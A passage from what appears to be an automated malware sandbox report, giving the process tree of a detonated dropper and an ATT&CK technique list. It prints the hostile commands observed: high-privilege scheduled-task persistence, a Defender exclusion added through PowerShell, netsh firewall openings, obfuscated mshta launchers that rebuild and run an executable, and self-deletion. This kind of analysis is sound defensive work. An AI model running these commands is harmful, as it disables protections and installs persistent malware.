C:\Users\Admin\Pictures\Adobe Films\dBCxKmN7R5UCX7zQ0GuBKf3K.exe
"C:\Users\Admin\Pictures\Adobe Films\dBCxKmN7R5UCX7zQ0GuBKf3K.exe"
6⤵
- Executes dropped EXE
PID:5512

C:\Users\Admin\Pictures\Adobe Films\dBCxKmN7R5UCX7zQ0GuBKf3K.exe
"C:\Users\Admin\Pictures\Adobe Films\dBCxKmN7R5UCX7zQ0GuBKf3K.exe"
7⤵
PID:5976

C:\Users\Admin\Pictures\Adobe Films\2vE2xbaAPsRyVwDnwYgeFbsm.exe
"C:\Users\Admin\Pictures\Adobe Films\2vE2xbaAPsRyVwDnwYgeFbsm.exe"
6⤵
- Executes dropped EXE
PID:5504

C:\Users\Admin\Pictures\Adobe Films\6vHxERVsfq3r4pogW_PEr4tk.exe
"C:\Users\Admin\Pictures\Adobe Films\6vHxERVsfq3r4pogW_PEr4tk.exe"
6⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:3140

C:\Users\Admin\Pictures\Adobe Films\zhPR55CccD3lVBRITaEjTeIx.exe
"C:\Users\Admin\Pictures\Adobe Films\zhPR55CccD3lVBRITaEjTeIx.exe"
6⤵
PID:3760

C:\Users\Admin\Pictures\Adobe Films\joQjdRoYN8q2dDL2i7pwEGbq.exe
"C:\Users\Admin\Pictures\Adobe Films\joQjdRoYN8q2dDL2i7pwEGbq.exe"
6⤵
PID:2712

C:\Users\Admin\Pictures\Adobe Films\qq4gM3TAkV1wmYlWIFXwYUuJ.exe
"C:\Users\Admin\Pictures\Adobe Films\qq4gM3TAkV1wmYlWIFXwYUuJ.exe"
6⤵
PID:5244

C:\Users\Admin\Pictures\Adobe Films\UbyKIdnozRdyydQC09qLtPZi.exe
"C:\Users\Admin\Pictures\Adobe Films\UbyKIdnozRdyydQC09qLtPZi.exe"
6⤵
PID:5588

C:\Users\Admin\Pictures\Adobe Films\vYZeZDBCYPbRi59X38OPDPi9.exe
"C:\Users\Admin\Pictures\Adobe Films\vYZeZDBCYPbRi59X38OPDPi9.exe"
6⤵
PID:5056

C:\Users\Admin\Pictures\Adobe Films\vYZeZDBCYPbRi59X38OPDPi9.exe
"C:\Users\Admin\Pictures\Adobe Films\vYZeZDBCYPbRi59X38OPDPi9.exe"
7⤵
PID:6384

C:\Users\Admin\Pictures\Adobe Films\vYZeZDBCYPbRi59X38OPDPi9.exe
"C:\Users\Admin\Pictures\Adobe Films\vYZeZDBCYPbRi59X38OPDPi9.exe"
7⤵
PID:6832

C:\Users\Admin\Pictures\Adobe Films\AQ7m8onrZTsIeEGrasYWUI81.exe
"C:\Users\Admin\Pictures\Adobe Films\AQ7m8onrZTsIeEGrasYWUI81.exe"
6⤵
PID:5028

C:\Users\Admin\Pictures\Adobe Films\5S0agmU8Uk9tjle763VpCEt4.exe
"C:\Users\Admin\Pictures\Adobe Films\5S0agmU8Uk9tjle763VpCEt4.exe"
6⤵
PID:6268

C:\Users\Admin\AppData\Roaming\7801869.exe
"C:\Users\Admin\AppData\Roaming\7801869.exe"
7⤵
PID:4200

C:\Users\Admin\AppData\Roaming\6929544.exe
"C:\Users\Admin\AppData\Roaming\6929544.exe"
7⤵
PID:6032

C:\Users\Admin\AppData\Roaming\8596608.exe
"C:\Users\Admin\AppData\Roaming\8596608.exe"
7⤵
PID:6424

C:\Users\Admin\AppData\Roaming\6891703.exe
"C:\Users\Admin\AppData\Roaming\6891703.exe"
7⤵
PID:6692

C:\Users\Admin\AppData\Roaming\4793858.exe
"C:\Users\Admin\AppData\Roaming\4793858.exe"
7⤵
PID:4928

C:\Users\Admin\AppData\Roaming\7176171.exe
"C:\Users\Admin\AppData\Roaming\7176171.exe"
7⤵
PID:5472

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Fri05851d7f13.exe
4⤵
PID:3208

C:\Users\Admin\AppData\Local\Temp\7zS8E6C1EC5\Fri05851d7f13.exe
Fri05851d7f13.exe
5⤵
- Executes dropped EXE
PID:3492

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Fri053f5694ea31c9a.exe
4⤵
PID:1748

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Fri05f84fa77402bf.exe
4⤵
PID:3688

C:\Users\Admin\AppData\Local\Temp\7zS8E6C1EC5\Fri05f84fa77402bf.exe
Fri05f84fa77402bf.exe
5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:2464

C:\Users\Admin\AppData\Local\Temp\7zS8E6C1EC5\Fri05f84fa77402bf.exe
C:\Users\Admin\AppData\Local\Temp\7zS8E6C1EC5\Fri05f84fa77402bf.exe
6⤵
- Executes dropped EXE
PID:4228

C:\Users\Admin\AppData\Local\Temp\7zS8E6C1EC5\Fri053f5694ea31c9a.exe
Fri053f5694ea31c9a.exe
1⤵
- Executes dropped EXE
PID:1396

C:\Users\Admin\AppData\Local\Temp\7zS8E6C1EC5\Fri053f5694ea31c9a.exe
C:\Users\Admin\AppData\Local\Temp\7zS8E6C1EC5\Fri053f5694ea31c9a.exe
2⤵
- Executes dropped EXE
PID:4236

C:\Users\Admin\Pictures\Adobe Films\zhPR55CccD3lVBRITaEjTeIx.exe
"C:\Users\Admin\Pictures\Adobe Films\zhPR55CccD3lVBRITaEjTeIx.exe"
1⤵
PID:5380

C:\Program Files (x86)\Company\NewProduct\inst3.exe
"C:\Program Files (x86)\Company\NewProduct\inst3.exe"
1⤵
PID:5528

C:\Program Files (x86)\Company\NewProduct\DownFlSetup999.exe
"C:\Program Files (x86)\Company\NewProduct\DownFlSetup999.exe"
1⤵
- Executes dropped EXE
PID:5520

C:\Program Files (x86)\Company\NewProduct\cutm3.exe
"C:\Program Files (x86)\Company\NewProduct\cutm3.exe"
1⤵
- Executes dropped EXE
PID:5488

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:4248

C:\Windows\SysWOW64\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
2⤵
PID:1520

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k SystemNetworkService
1⤵
- Executes dropped EXE
PID:4884

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "mshta" /sc ONLOGON /tr "'C:\Users\All Users\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\mshta.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:6812

C:\Users\Admin\AppData\Local\Temp\AD69.exe
C:\Users\Admin\AppData\Local\Temp\AD69.exe
1⤵
PID:5632

C:\Users\Admin\AppData\Local\Temp\AD69.exe
C:\Users\Admin\AppData\Local\Temp\AD69.exe
2⤵
PID:6328

C:\Users\Admin\AppData\Local\Temp\C845.exe
C:\Users\Admin\AppData\Local\Temp\C845.exe
1⤵
PID:5888

C:\Users\Admin\AppData\Local\Temp\DAA5.exe
C:\Users\Admin\AppData\Local\Temp\DAA5.exe
1⤵
PID:6536

C:\Users\Admin\AppData\Local\Temp\E014.exe
C:\Users\Admin\AppData\Local\Temp\E014.exe
1⤵
PID:1748

C:\Users\Admin\AppData\Local\Temp\EDD1.exe
C:\Users\Admin\AppData\Local\Temp\EDD1.exe
1⤵
PID:7016

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
2⤵
PID:3804

C:\Users\Admin\AppData\Local\Temp\E08A.exe
C:\Users\Admin\AppData\Local\Temp\E08A.exe
1⤵
PID:8164

C:\Users\Admin\AppData\Local\Temp\E08A.exe
C:\Users\Admin\AppData\Local\Temp\E08A.exe
2⤵
PID:7368

C:\Windows\SysWOW64\icacls.exe
icacls "C:\Users\Admin\AppData\Local\32433c8f-db0d-4288-931f-b67ca57f6455" /deny *S-1-1-0:(OI)(CI)(DE,DC)
3⤵
- Modifies file permissions
PID:5660

C:\Users\Admin\AppData\Local\Temp\E08A.exe
"C:\Users\Admin\AppData\Local\Temp\E08A.exe" --Admin IsNotAutoStart IsNotTask
3⤵
PID:5880

C:\Users\Admin\AppData\Local\Temp\E08A.exe
"C:\Users\Admin\AppData\Local\Temp\E08A.exe" --Admin IsNotAutoStart IsNotTask
4⤵
PID:7808

C:\Users\Admin\AppData\Local\30a9cea5-477f-46c7-9ffd-bc37a13edb96\build2.exe
"C:\Users\Admin\AppData\Local\30a9cea5-477f-46c7-9ffd-bc37a13edb96\build2.exe"
5⤵
PID:7932

C:\Users\Admin\AppData\Local\30a9cea5-477f-46c7-9ffd-bc37a13edb96\build2.exe
"C:\Users\Admin\AppData\Local\30a9cea5-477f-46c7-9ffd-bc37a13edb96\build2.exe"
6⤵
PID:9152

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /im build2.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\30a9cea5-477f-46c7-9ffd-bc37a13edb96\build2.exe" & del C:\ProgramData\*.dll & exit
7⤵
PID:9644

C:\Windows\SysWOW64\taskkill.exe
taskkill /im build2.exe /f
8⤵
- Kills process with taskkill
PID:9988

C:\Windows\SysWOW64\timeout.exe
timeout /t 6
8⤵
- Delays execution with timeout.exe
PID:6588

C:\Users\Admin\AppData\Local\30a9cea5-477f-46c7-9ffd-bc37a13edb96\build3.exe
"C:\Users\Admin\AppData\Local\30a9cea5-477f-46c7-9ffd-bc37a13edb96\build3.exe"
5⤵
PID:3880

C:\Users\Admin\AppData\Local\30a9cea5-477f-46c7-9ffd-bc37a13edb96\build3.exe
"C:\Users\Admin\AppData\Local\30a9cea5-477f-46c7-9ffd-bc37a13edb96\build3.exe"
6⤵
PID:7052

C:\Users\Admin\AppData\Local\Temp\F914.exe
C:\Users\Admin\AppData\Local\Temp\F914.exe
1⤵
PID:936

C:\Users\Admin\AppData\Local\Temp\579.exe
C:\Users\Admin\AppData\Local\Temp\579.exe
1⤵
PID:7388

C:\Users\Admin\AppData\Local\Temp\73F.exe
C:\Users\Admin\AppData\Local\Temp\73F.exe
1⤵
PID:5008

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /im 73F.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\73F.exe" & del C:\ProgramData\*.dll & exit
2⤵
PID:4548

C:\Windows\SysWOW64\taskkill.exe
taskkill /im 73F.exe /f
3⤵
- Kills process with taskkill
PID:7896

C:\Windows\SysWOW64\timeout.exe
timeout /t 6
3⤵
- Delays execution with timeout.exe
PID:6592

C:\Users\Admin\AppData\Local\Temp\B96.exe
C:\Users\Admin\AppData\Local\Temp\B96.exe
1⤵
PID:7080

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" VBscRipt: cLose( CReAtEOBJECT( "WsCrIPT.sHell" ).rUn ( "cmD.ExE /R TYPe ""C:\Users\Admin\AppData\Local\Temp\B96.exe"" > ..\JKadlCLvM2SRA2.ExE &&staRt ..\JKadLCLVm2SRA2.eXe /PvqsV6~7fsyUR14GhQkS4jjgPQTPw & IF """" =="""" for %q in (""C:\Users\Admin\AppData\Local\Temp\B96.exe"") do taskkill -iM ""%~Nxq"" -f " , 0 , truE ))
2⤵
PID:5812

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /R TYPe "C:\Users\Admin\AppData\Local\Temp\B96.exe"> ..\JKadlCLvM2SRA2.ExE &&staRt ..\JKadLCLVm2SRA2.eXe /PvqsV6~7fsyUR14GhQkS4jjgPQTPw& IF "" =="" for %q in ("C:\Users\Admin\AppData\Local\Temp\B96.exe") do taskkill -iM "%~Nxq" -f
3⤵
PID:7620

C:\Users\Admin\AppData\Local\Temp\JKadlCLvM2SRA2.ExE
..\JKadLCLVm2SRA2.eXe /PvqsV6~7fsyUR14GhQkS4jjgPQTPw
4⤵
PID:500

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" VBscRipt: cLose( CReAtEOBJECT( "WsCrIPT.sHell" ).rUn ( "cmD.ExE /R TYPe ""C:\Users\Admin\AppData\Local\Temp\JKadlCLvM2SRA2.ExE"" > ..\JKadlCLvM2SRA2.ExE &&staRt ..\JKadLCLVm2SRA2.eXe /PvqsV6~7fsyUR14GhQkS4jjgPQTPw & IF ""/PvqsV6~7fsyUR14GhQkS4jjgPQTPw"" =="""" for %q in (""C:\Users\Admin\AppData\Local\Temp\JKadlCLvM2SRA2.ExE"") do taskkill -iM ""%~Nxq"" -f " , 0 , truE ))
5⤵
PID:8184

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /R TYPe "C:\Users\Admin\AppData\Local\Temp\JKadlCLvM2SRA2.ExE"> ..\JKadlCLvM2SRA2.ExE &&staRt ..\JKadLCLVm2SRA2.eXe /PvqsV6~7fsyUR14GhQkS4jjgPQTPw& IF "/PvqsV6~7fsyUR14GhQkS4jjgPQTPw" =="" for %q in ("C:\Users\Admin\AppData\Local\Temp\JKadlCLvM2SRA2.ExE") do taskkill -iM "%~Nxq" -f
6⤵
PID:6936

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" vBsCripT: ClOSe (creAteObJecT( "WscrIpT.sheLl" ). RUN ( "cmd /q /c ECho %tImE%4u> VDn3614.Q9 &ECho | SET /p = ""MZ"" > WSyZI.4 & coPY /b /y WSYZI.4 + 0CPM7.G + TY6DSS.SE + vDN3614.Q9 ..\UfTh.2~z& STaRt msiexec -y ..\UFTH.2~Z & deL /q * ",0 , tRUe ) )
5⤵
PID:8172

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /q /c ECho %tImE%4u> VDn3614.Q9 &ECho | SET /p = "MZ" > WSyZI.4& coPY /b /y WSYZI.4+ 0CPM7.G+ TY6DSS.SE+ vDN3614.Q9 ..\UfTh.2~z& STaRt msiexec -y ..\UFTH.2~Z & deL /q *
6⤵
PID:580

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" ECho "
7⤵
PID:6820

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" SET /p = "MZ" 1>WSyZI.4"
7⤵
- Suspicious use of SetThreadContext
PID:1396

C:\Windows\SysWOW64\msiexec.exe
msiexec -y ..\UFTH.2~Z
7⤵
PID:5796

C:\Windows\SysWOW64\taskkill.exe
taskkill -iM "B96.exe" -f
4⤵
- Executes dropped EXE
- Kills process with taskkill
PID:4532

C:\Users\Admin\AppData\Local\Temp\19C0.exe
C:\Users\Admin\AppData\Local\Temp\19C0.exe
1⤵
PID:1172

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhost" /sc ONLOGON /tr "'C:\Windows\System32\at\conhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3876

C:\Windows\SysWOW64\schtasks.exe
/C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"
1⤵
- Creates scheduled task(s)
PID:7596

C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
1⤵
PID:8932

C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
2⤵
PID:6428

C:\Windows\SysWOW64\schtasks.exe
/C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"
3⤵
- Creates scheduled task(s)
PID:10060

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
PID:8488

C:\Windows\syswow64\MsiExec.exe
C:\Windows\syswow64\MsiExec.exe -Embedding 481F254382008F8C69324F6D90020D58 C
2⤵
PID:7964

C:\Windows\syswow64\MsiExec.exe
C:\Windows\syswow64\MsiExec.exe -Embedding 69C236FE41A9DD85DEE0B6C1AEF1B38B
2⤵
PID:9456

C:\Windows\SysWOW64\taskkill.exe
"C:\Windows\SysWOW64\taskkill.exe" /im AdvancedWindowsManager* /f
3⤵
- Kills process with taskkill
PID:8248

C:\Windows\syswow64\MsiExec.exe
C:\Windows\syswow64\MsiExec.exe -Embedding 89819DFB6FCF84D3B89F3C172939AFAA E Global\MSI0000
2⤵
PID:8212

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "vYZeZDBCYPbRi59X38OPDPi9" /sc ONLOGON /tr "'C:\Windows\System32\vfwwdm32\vYZeZDBCYPbRi59X38OPDPi9.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:9504

\??\c:\windows\system\svchost.exe
c:\windows\system\svchost.exe
1⤵
PID:8516

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\windows\
2⤵
PID:2324

C:\Windows\System32\netsh.exe
"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=in action=allow program="C:\Windows\System\svchost.exe" enable=yes
2⤵
PID:9236

C:\Windows\System32\netsh.exe
"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=out action=allow program="C:\Windows\System\svchost.exe" enable=yes
2⤵
PID:8312

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:2824

C:\Windows\SysWOW64\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
2⤵
PID:4828

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:9276

C:\Windows\SysWOW64\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
2⤵
PID:10188

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "spoolsv" /sc ONLOGON /tr "'C:\Windows\System32\WPDSp\spoolsv.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:6576

C:\Users\Admin\AppData\Roaming\sejgssj
C:\Users\Admin\AppData\Roaming\sejgssj
1⤵
PID:9168

C:\Users\Admin\AppData\Roaming\fdjgssj
C:\Users\Admin\AppData\Roaming\fdjgssj
1⤵
PID:3464

C:\Users\Admin\AppData\Roaming\fdjgssj
C:\Users\Admin\AppData\Roaming\fdjgssj
2⤵
PID:7684

C:\Users\Admin\AppData\Roaming\jhjgssj
C:\Users\Admin\AppData\Roaming\jhjgssj
1⤵
PID:9252

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fontdrvhost" /sc ONLOGON /tr "'C:\Windows\System32\UevCustomActionTypes\fontdrvhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:8312

C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
1⤵
PID:8868

C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
2⤵
PID:2824

C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
1⤵
PID:9252

C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
2⤵
PID:580

C:\Users\Admin\AppData\Local\32433c8f-db0d-4288-931f-b67ca57f6455\E08A.exe
C:\Users\Admin\AppData\Local\32433c8f-db0d-4288-931f-b67ca57f6455\E08A.exe --Task
1⤵
PID:4692

C:\Users\Admin\AppData\Local\32433c8f-db0d-4288-931f-b67ca57f6455\E08A.exe
C:\Users\Admin\AppData\Local\32433c8f-db0d-4288-931f-b67ca57f6455\E08A.exe --Task
2⤵
PID:8904

C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
1⤵
PID:4164

C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
2⤵
PID:9592

C:\Users\Admin\AppData\Roaming\fdjgssj
C:\Users\Admin\AppData\Roaming\fdjgssj
1⤵
PID:6788

C:\Users\Admin\AppData\Roaming\fdjgssj
C:\Users\Admin\AppData\Roaming\fdjgssj
2⤵
PID:7540

C:\Users\Admin\AppData\Roaming\jhjgssj
C:\Users\Admin\AppData\Roaming\jhjgssj
1⤵
PID:8744

C:\Users\Admin\AppData\Roaming\sejgssj
C:\Users\Admin\AppData\Roaming\sejgssj
1⤵
PID:8368

C:\Users\Admin\AppData\Local\32433c8f-db0d-4288-931f-b67ca57f6455\E08A.exe
C:\Users\Admin\AppData\Local\32433c8f-db0d-4288-931f-b67ca57f6455\E08A.exe --Task
1⤵
PID:10104

C:\Users\Admin\AppData\Local\32433c8f-db0d-4288-931f-b67ca57f6455\E08A.exe
C:\Users\Admin\AppData\Local\32433c8f-db0d-4288-931f-b67ca57f6455\E08A.exe --Task
2⤵
PID:8060

C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
1⤵
PID:10060

C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
2⤵
PID:9696

C:\Users\Admin\AppData\Local\32433c8f-db0d-4288-931f-b67ca57f6455\E08A.exe
C:\Users\Admin\AppData\Local\32433c8f-db0d-4288-931f-b67ca57f6455\E08A.exe --Task
1⤵
PID:8580

C:\Users\Admin\AppData\Local\32433c8f-db0d-4288-931f-b67ca57f6455\E08A.exe
C:\Users\Admin\AppData\Local\32433c8f-db0d-4288-931f-b67ca57f6455\E08A.exe --Task
2⤵
PID:8928

C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
1⤵
PID:4172

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

Persistence

Modify Existing Service

T1031

Scheduled Task

BITS Jobs

T1197

Privilege Escalation

Scheduled Task

Defense Evasion

Modify Registry

T1112

Disabling Security Tools

T1089

Virtualization/Sandbox Evasion

T1497

File Permissions Modification

T1222

BITS Jobs

T1197

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

Virtualization/Sandbox Evasion

T1497

System Information Discovery